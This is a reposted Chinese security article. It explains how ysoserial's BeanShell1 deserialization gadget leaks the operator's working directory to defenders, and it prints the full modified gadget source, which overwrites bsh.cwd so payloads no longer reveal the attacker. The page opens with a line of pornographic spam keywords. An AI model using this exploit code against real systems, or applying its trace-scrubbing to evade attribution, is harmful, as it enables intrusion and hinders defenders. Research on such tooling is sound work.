黄色网站入口国产美女,精品国产欧美另类一区,国产一区二区美女自慰,日日摸夜夜添无码国产

選擇你喜歡的標簽
我們會為你匹配適合你的網(wǎng)址導航

    確認 跳過

    跳過將刪除所有初始化信息

    您的位置:0XUCN > 資訊 > 安全
    新聞分類

    有一個gadget正在泄露你的ID

    安全 PRO 稿源:回憶如飄雪 2021-11-25 05:43

    0x01 背景

    在Java反序列化漏洞炙手可熱的當下,許多自動化工具都在使用ysoserial的gadget。而這些gadget當中,有一個gadget正在偷偷泄露你的id —?BeanShell1

    BeanShell1泄露當前運行路徑

    這意味著經常使用shiro批量爆破gadget工具的小伙伴,藍隊同學可能解密下paylaod就能得到你的id了。


    0x02 定位信息泄露屬性

    通過使用java-object-searcher搜索,找到敏感信息存儲在bsh.NameSpace類的variables屬性中。

    存儲當前運行路徑的屬性

    通過閱讀該類代碼,發(fā)現(xiàn)只有setTypedVariable方法對variables進行put操作,在該處下斷點。

    重新調式,看到當前運行路徑被put進來后,順著調用堆棧往上分析。發(fā)現(xiàn)BeanShell1Interpreter對象初始化時,調用bsh.Interpreter#initRootSystemObject設置了bsh.cwd值為當前運行路徑,最終它被保存到了序列化數(shù)據(jù)中。

    獲取當前運行路徑


    0x03 構造干凈的BeanShell1

    既然Interpreter對象通過setu方法存儲了敏感信息,那么我們同樣可以調用該方法將敏感信息覆蓋掉,防止信息泄露。

    所以要構造一個干凈的BeanShell1 gadget,只需要在Interpreter對象創(chuàng)建后反射調用setu方法覆蓋bsh.cwd值為.(第13-15行代碼)即可。

    @SuppressWarnings({ "rawtypes", "unchecked" })
    @Dependencies({ "org.beanshell:bsh:2.0b5" })
    @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
    public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQueue> {
    
        public PriorityQueue getObject(String command) throws Exception {
            // BeanShell payload
            String payload = BeanShellUtil.getPayload(command);
    
            // Create Interpreter
            Interpreter i = new Interpreter();
            /***** 覆蓋bsh.cwd,清空user.dir,防止信息泄露 *****/
            Method setu = i.getClass().getDeclaredMethod("setu",new Class[]{String.class,Object.class});
        	setu.setAccessible(true);
        	setu.invoke(i,new Object[]{"bsh.cwd","."});
        	/***********************************************/
    
            // Evaluate payload
            i.eval(payload);
    
            // Create InvocationHandler
            XThis xt = new XThis(i.getNameSpace(), i);
            InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
    
            // Create Comparator Proxy
            Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
    
            // Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
            final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
            Object[] queue = new Object[] {1,1};
            Reflections.setFieldValue(priorityQueue, "queue", queue);
            Reflections.setFieldValue(priorityQueue, "size", 2);
    
            return priorityQueue;
        }
    
    }
    

    目前已經給ysoserial項目pr,等待官方修復。當然大家也可以使用我二次開發(fā)的ysoserial-for-woopecker。

    給官方提的pr


    0XU.CN

    [超站]友情鏈接:

    四季很好,只要有你,文娛排行榜:https://www.yaopaiming.com/
    關注數(shù)據(jù)與安全,洞悉企業(yè)級服務市場:https://www.ijiandao.com/

    圖庫
    公眾號 關注網(wǎng)絡尖刀微信公眾號
    隨時掌握互聯(lián)網(wǎng)精彩
    贊助鏈接